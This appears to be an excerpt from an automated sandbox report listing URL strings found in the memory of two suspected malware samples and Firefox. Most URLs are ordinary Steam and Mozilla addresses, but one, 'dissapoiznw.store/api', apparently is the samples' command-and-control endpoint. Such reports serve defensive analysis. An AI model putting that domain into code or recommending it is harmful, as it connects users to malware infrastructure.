Source: file.exe, 00000000.00000003.2208311275.000000000069F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2199513745.0000000000694000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2199513745.000000000068E000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2945838714.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2897844362.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883437222.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883741777.0000000001105000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2958289959.0000000001109000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883909794.0000000001113000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883941944.0000000001106000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000E.00000003.3034566533.00000000011CA000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000E.00000003.3034566533.00000000011C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/css/buttons.css?v=tuNiaSwXwcYT&l=engl
Source: ee8d47a049.exe, 0000000C.00000003.2883941944.0000000001106000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/css/motiva_sans.css?v=GfSjbGKcNYaQ&l
Source: ee8d47a049.exe, 0000000C.00000003.2883941944.0000000001106000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000E.00000003.3034566533.00000000011CA000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000E.00000003.3034566533.00000000011C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/css/motiva_sans.css?v=GfSjbGKcNYaQ&l=
Source: file.exe, 00000000.00000003.2199513745.0000000000694000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2199513745.000000000068E000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2945838714.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2897844362.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883437222.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883741777.0000000001105000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2958289959.0000000001109000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883909794.0000000001113000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883941944.0000000001106000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000E.00000003.3034566533.00000000011CA000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000E.00000003.3034566533.00000000011C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/css/shared_global.css?v=Ff_1prscqzeu&
Source: ee8d47a049.exe, 0000000C.00000003.2945838714.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2897844362.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2993784315.0000000001102000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2967613756.00000000010B9000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2958718238.00000000010C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/css/shared_responsive.css?v=eghn9DN
Source: file.exe, 00000000.00000003.2208311275.000000000069F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2199513745.0000000000694000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2199513745.000000000068E000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883867156.00000000010D0000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2945838714.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883770636.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2897844362.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883437222.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883741777.0000000001105000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883971948.00000000010D1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2958289959.0000000001109000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883909794.0000000001113000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883941944.0000000001106000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000E.00000003.3034566533.00000000011CA000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000E.00000003.3034566533.00000000011C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/css/shared_responsive.css?v=eghn9DNyCY67&
Source: file.exe, 00000000.00000003.2208311275.000000000069F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2222017745.000000000069B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2199513745.0000000000694000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883437222.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883741777.0000000001105000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883909794.0000000001113000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883941944.0000000001106000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000E.00000003.3034566533.00000000011CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016
Source: file.exe, 00000000.00000003.2208311275.000000000069F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2222017745.000000000069B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2199513745.0000000000694000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883437222.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883741777.0000000001105000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883909794.0000000001113000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883941944.0000000001106000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000E.00000003.3034566533.00000000011CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/images/responsive/header_logo.png
Source: ee8d47a049.exe, 0000000C.00000003.2883941944.0000000001106000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000E.00000003.3034566533.00000000011CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.p
Source: file.exe, 00000000.00000003.2208311275.000000000069F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2199513745.0000000000694000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2945838714.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2897844362.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883437222.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883741777.0000000001105000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2958289959.0000000001109000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883909794.0000000001113000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883941944.0000000001106000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000E.00000003.3034566533.00000000011CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png
Source: ee8d47a049.exe, 0000000C.00000003.2883941944.0000000001106000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000E.00000003.3034566533.00000000011CA000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000E.00000003.3034566533.00000000011C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/javascript/auth_refresh.js?v=WgUxSlKTb3W1
Source: file.exe, 00000000.00000003.2208311275.000000000069F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2199513745.0000000000694000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2199513745.000000000068E000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2945838714.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2897844362.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883437222.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883741777.0000000001105000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2958289959.0000000001109000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883909794.0000000001113000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883941944.0000000001106000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000E.00000003.3034566533.00000000011CA000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000E.00000003.3034566533.00000000011C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/javascript/shared_global.js?v=wJD9maDpDcV
Source: file.exe, 00000000.00000003.2208311275.000000000069F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2199513745.0000000000694000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2945838714.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2897844362.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883437222.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883741777.0000000001105000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2958289959.0000000001109000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883909794.0000000001113000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883941944.0000000001106000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000E.00000003.3034566533.00000000011CA000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000E.00000003.3034566533.00000000011C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v
Source: ee8d47a049.exe, 0000000C.00000003.2883941944.0000000001106000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000E.00000003.3034566533.00000000011CA000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000E.00000003.3034566533.00000000011C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/javascript/tooltip.js?v=.zYHOpI1L3Rt0&amp
Source: firefox.exe, 0000001C.00000003.3086576569.000002682E253000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3222736254.000002682D870000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000003.3083238118.000002682E000000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3085509496.000002682E210000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://completion.amazon.com/search/complete?q=
Source: file.exe, 00000000.00000003.2249981893.00000000006C9000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2926652624.00000000057FA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3216509308.000002682B664000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3216509308.000002682B62E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg
Source: file.exe, 00000000.00000003.2249981893.00000000006C9000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2926652624.00000000057FA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3216509308.000002682B664000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3216509308.000002682B62E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: firefox.exe, 0000001C.00000002.3272907510.0000026832041000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile.services.mozilla.com
Source: firefox.exe, 0000001C.00000002.3275031797.0000026832108000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile.services.mozilla.com/
Source: firefox.exe, 0000001C.00000002.3275031797.0000026832108000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile.services.mozilla.com/v1/tiles
Source: firefox.exe, 0000001C.00000002.3201171185.000002681E130000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://crash-reports.mozilla.com/submit?id=
Source: firefox.exe, 0000001C.00000002.3275406408.0000026832214000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://crbug.com/993268
Source: firefox.exe, 0000001C.00000002.3213984029.000002682A900000.00000002.00000001.00040000.0000001F.sdmp, firefox.exe, 0000001C.00000002.3213139863.000002682A803000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/Add-ons/WebExtensions/manifest.json/commands#Key_combinations
Source: firefox.exe, 0000001C.00000002.3213139863.000002682A803000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/Add-ons/WebExtensions/manifest.json/commands#Key_combinationsCom
Source: firefox.exe, 0000001C.00000002.3275406408.0000026832214000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/API/ElementCSSInlineStyle/style#setting_styles)
Source: firefox.exe, 0000001C.00000002.3275406408.0000026832214000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for-await...of
Source: firefox.exe, 0000001C.00000002.3275406408.0000026832214000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/Web_Components/Using_custom_elements#using_the_lifecycl
Source: ee8d47a049.exe, 0000000E.00000003.3035132023.0000000001155000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000E.00000002.3053059022.0000000001155000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dissapoiznw.store:443/api
Source: firefox.exe, 0000001C.00000002.3216509308.000002682B664000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3290440543.00003793D3B04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com
Source: firefox.exe, 0000001C.00000003.3086576569.000002682E253000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3226653609.000002682E16D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3222736254.000002682D870000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000003.3083238118.000002682E000000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3289437313.00001DD6C1B04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3085509496.000002682E210000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/
Source: file.exe, 00000000.00000003.2222905597.00000000053F8000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2223063752.00000000053F8000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2222836182.00000000053FB000.00000004.00000800.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2899443498.0000000005841000.00000004.00000800.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2898618121.0000000005844000.00000004.00000800.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2898704661.0000000005841000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.2222905597.00000000053F8000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2223063752.00000000053F8000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2222836182.00000000053FB000.00000004.00000800.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2899443498.0000000005841000.00000004.00000800.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2898618121.0000000005844000.00000004.00000800.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2898704661.0000000005841000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.2222905597.00000000053F8000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2223063752.00000000053F8000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2222836182.00000000053FB000.00000004.00000800.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2899443498.0000000005841000.00000004.00000800.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2898618121.0000000005844000.00000004.00000800.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2898704661.0000000005841000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: firefox.exe, 0000001C.00000002.3242551338.000002682F83B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/y
Source: firefox.exe, 0000001C.00000002.3222889062.000002682D989000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%s
Source: firefox.exe, 0000001C.00000002.3222889062.000002682D989000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%sz
Source: firefox.exe, 0000001C.00000002.3222889062.000002682D989000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%szw
Source: firefox.exe, 0000001C.00000002.3290440543.00003793D3B04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ebay.comP
Source: firefox.exe, 0000001C.00000002.3222889062.000002682D989000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://email.seznam.cz/newMessageScreen?mailto=%s
Source: firefox.exe, 0000001C.00000002.3213984029.000002682A900000.00000002.00000001.00040000.0000001F.sdmp	String found in binary or memory: https://fb.me/react-polyfillsO
Source: firefox.exe, 0000001C.00000002.3213984029.000002682A900000.00000002.00000001.00040000.0000001F.sdmp	String found in binary or memory: https://fb.me/react-polyfillsP
Source: firefox.exe, 0000001C.00000002.3213984029.000002682A900000.00000002.00000001.00040000.0000001F.sdmp	String found in binary or memory: https://fb.me/react-polyfillsPO
Source: firefox.exe, 0000001C.00000002.3242551338.000002682F83B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3271841943.0000026831F28000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-api-proxy.cdn.mozilla.net/
Source: firefox.exe, 0000001C.00000002.3213984029.000002682A900000.00000002.00000001.00040000.0000001F.sdmp	String found in binary or memory: https://firefox-source-docs.mozilla.org/browser/components/newtab/content-src/asrouter/docs/debuggin
Source: firefox.exe, 0000001C.00000002.3213984029.000002682A900000.00000002.00000001.00040000.0000001F.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main/collections/nimbus-desktop-experiments
Source: firefox.exe, 0000001C.00000002.3213139863.000002682A803000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1Sending
Source: firefox.exe, 0000001C.00000002.3213984029.000002682A900000.00000002.00000001.00040000.0000001F.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1i
Source: firefox.exe, 0000001C.00000002.3213984029.000002682A900000.00000002.00000001.00040000.0000001F.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1i#
Source: firefox.exe, 0000001C.00000002.3211863654.000002682A703000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fpn.firefox.com
Source: firefox.exe, 0000001C.00000002.3242551338.000002682F83B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3271841943.0000026831F28000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/
Source: firefox.exe, 0000001C.00000002.3275031797.0000026832108000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3271841943.0000026831F28000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=
Source: firefox.exe, 0000001C.00000002.3242551338.000002682F83B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3271841943.0000026831F28000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/trending-topics?version=2&consumer_key=$apiKey&locale_l
Source: firefox.exe, 0000001C.00000002.3213139863.000002682A824000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=$apiKey&layout_variant=bas
Source: firefox.exe, 0000001C.00000002.3216509308.000002682B603000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=40249-e88c401e1b1f2242d9e4
Source: firefox.exe, 0000001C.00000002.3213984029.000002682A900000.00000002.00000001.00040000.0000001F.sdmp	String found in binary or memory: https://getpocket.com/
Source: firefox.exe, 0000001C.00000002.3213984029.000002682A900000.00000002.00000001.00040000.0000001F.sdmp	String found in binary or memory: https://getpocket.com/a4
Source: firefox.exe, 0000001C.00000002.3213984029.000002682A900000.00000002.00000001.00040000.0000001F.sdmp	String found in binary or memory: https://getpocket.com/collections
Source: firefox.exe, 0000001C.00000002.3213984029.000002682A900000.00000002.00000001.00040000.0000001F.sdmp	String found in binary or memory: https://getpocket.com/explore/
Source: firefox.exe, 0000001C.00000002.3216509308.000002682B603000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3242551338.000002682F83B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/career?utm_source=pocket-newtab
Source: firefox.exe, 0000001C.00000002.3275031797.0000026832108000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/career?utm_source=pocket-newtabL
Source: firefox.exe, 0000001C.00000002.3216509308.000002682B603000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3242551338.000002682F83B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/entertainment?utm_source=pocket-newtab
Source: firefox.exe, 0000001C.00000002.3275031797.0000026832108000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/entertainment?utm_source=pocket-newtabC
Source: firefox.exe, 0000001C.00000002.3216509308.000002682B603000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3242551338.000002682F83B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/food?utm_source=pocket-newtab
Source: firefox.exe, 0000001C.00000002.3275031797.0000026832108000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/food?utm_source=pocket-newtabA
Source: firefox.exe, 0000001C.00000002.3216509308.000002682B603000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3242551338.000002682F83B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/health?utm_source=pocket-newtab
Source: firefox.exe, 0000001C.00000002.3275031797.0000026832108000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/health?utm_source=pocket-newtabE
Source: firefox.exe, 0000001C.00000002.3216509308.000002682B603000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3242551338.000002682F83B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/science?utm_source=pocket-newtab
Source: firefox.exe, 0000001C.00000002.3275031797.0000026832108000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/science?utm_source=pocket-newtabG
Source: firefox.exe, 0000001C.00000002.3216509308.000002682B603000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3242551338.000002682F83B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/self-improvement?utm_source=pocket-newtab
Source: firefox.exe, 0000001C.00000002.3275031797.0000026832108000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/self-improvement?utm_source=pocket-newtab?
Source: firefox.exe, 0000001C.00000002.3216509308.000002682B603000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3242551338.000002682F83B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/technology?utm_source=pocket-newtab
Source: firefox.exe, 0000001C.00000002.3275031797.0000026832108000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/technology?utm_source=pocket-newtabN
Source: firefox.exe, 0000001C.00000002.3216509308.000002682B664000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3216509308.000002682B603000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3242551338.000002682F83B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/trending?src=fx_new_tab
Source: firefox.exe, 0000001C.00000002.3271841943.0000026831F28000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/trending?src=fx_new_tabL
Source: firefox.exe, 0000001C.00000002.3242551338.000002682F83B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/trending?src=fx_new_tabresource://activity-stream/lib/ActivityStreamSt
Source: firefox.exe, 0000001C.00000002.3216509308.000002682B603000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3242551338.000002682F83B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore?utm_source=pocket-newtab
Source: firefox.exe, 0000001C.00000002.3275031797.0000026832108000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore?utm_source=pocket-newtabI
Source: firefox.exe, 0000001C.00000002.3216509308.000002682B603000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_more
Source: firefox.exe, 0000001C.00000002.3275031797.0000026832108000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_more/
Source: firefox.exe, 0000001C.00000002.3242551338.000002682F83B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_morechrome://global/skin/icons/pocket.svg
Source: firefox.exe, 0000001C.00000002.3242551338.000002682F83B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_moreresource://nimbus/ExperimentAPI.sys.mjs
Source: firefox.exe, 0000001C.00000002.3213984029.000002682A900000.00000002.00000001.00040000.0000001F.sdmp	String found in binary or memory: https://getpocket.com/read/$
